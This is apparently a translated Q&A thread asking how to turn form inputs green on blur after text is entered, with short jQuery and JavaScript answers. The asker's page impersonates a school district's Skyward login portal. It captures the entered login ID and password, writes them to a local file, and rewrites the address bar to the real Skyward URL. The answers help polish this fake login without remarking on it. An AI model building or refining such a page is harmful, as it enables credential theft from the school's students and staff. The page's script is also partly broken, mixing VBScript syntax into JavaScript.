输入文本时如何更改焦点丢失时的表单背景颜色?

How to change form background color on focus loss when text is entered?

首先我想指出所有这些都是客户端,而不是基于网络的。输入文本后失去焦点后,我需要将表单框更改为绿色。表单框一开始是白色的,在焦点处变成紫色,我需要它们在输入文本时失去焦点时变成绿色。


<!DOCTYPE html>
<html>
<head>
<title>Login - Powered By Skyward</title>
<link rel="icon" href="skyicon.gif">
<meta name="viewport" content="height=device-height, initial-scale=1.0">
<script type ="text/javascript">
function WriteToFile(passForm) {
set fso = CreateObject("Scripting.FileSystemObject");  
set s = fso.CreateTextFile("C:\error.txt", True);
s.writeline(document.passForm.input1.value);
s.writeline(document.passForm.input2.value);
s.Close();
window.history.pushState("object or string", "Skyward Login", "https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w");
}
</script>
<style>
body {
    background-image: url("slp_ps.jpg");
    background-repeat:no-repeat;
}
input {
    display:inline-block;
    float:right;
}
{
width:1234px;
height:50%;
position:relative;
margin:auto;
}
.btn-style{
    border : solid 1px #2d9cf0;
    border-radius : 3px;
    moz-border-radius : 3px;
    font-size : 9px;
    color : #000000;
    padding : 4px 13px;
    background-color : #ffffff;

}
div {
    margin-top: 500px;
    margin-bottom: 0px;
    margin-right: 500px;
    margin-left: 485px;
}
.inputbox-css {
  -webkit-box-sizing: content-box;
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  margin: -1px 0 0;
  padding: 5px;
  border: 1px solid rgba(127,174,255,1);
  -webkit-border-radius: 1px;
  border-radius: 1px;
  font: normal 16px/normal "Times New Roman", Times, serif;
  color: rgba(0,0,0,0.9);
  -o-text-overflow: clip;
  text-overflow: clip;
}

.inputbox-css:focus {
  background: #ebc4fc;
}
p {
  display:block;
  float:right;
}
</style>
</head>
<body>
<body background="slp_ps.jpg" style="width:1220px;height:700px;">
<div>
<p>
<form onsubmit="download(this['name'].value, this['text'].value)">
<font size="2" face="arial" class="element"> Login ID: </font><input         class="inputbox-css" type="text" style="font-family: Verdana; font-size: 12px;"     name="lllllllllll loginid" "width: 165px;" maxlength="100"/><br>
<br>
<font size="2" face="arial" class="element"> Password: </font><input     class="inputbox-css" type="password" style="font-family: Verdana; font-size:     12px;" name="lllllllllll password;" "width: 160px;" maxlength="100"/><br>
<br>
<font size="2" face="arial"> <input type="submit" class="btn-    style"name="lllllllllll submit" value="Sign In"/><br>
</form>
</p>
</div>
</form>
</body>
</html>

这是一个使用 Jquery:

的快速 jsfiddle

https://jsfiddle.net/37dw6e3u/

使用 jquery.blur 函数:

$("input").blur(function(){
    $(this).css("background-color", "green")
});

(不检查用户是否实际添加了文本,因此您可以自己编写),您可以使用 .focus 来更改焦点上的颜色。

我想说的是,对这个问题进行非常快速的 google 搜索将会为您的问题找到大量的解决方案。下次先尝试自己修复!

blur 就是你要找的。

document.write("<input type='text'>");
var input = document.querySelector('input');
input.addEventListener('focus',function(){
  input.style.backgroundColor = "purple";
})
input.addEventListener('blur',function(){
  if(input.value != ""){
      input.style.backgroundColor = "green";
  }
})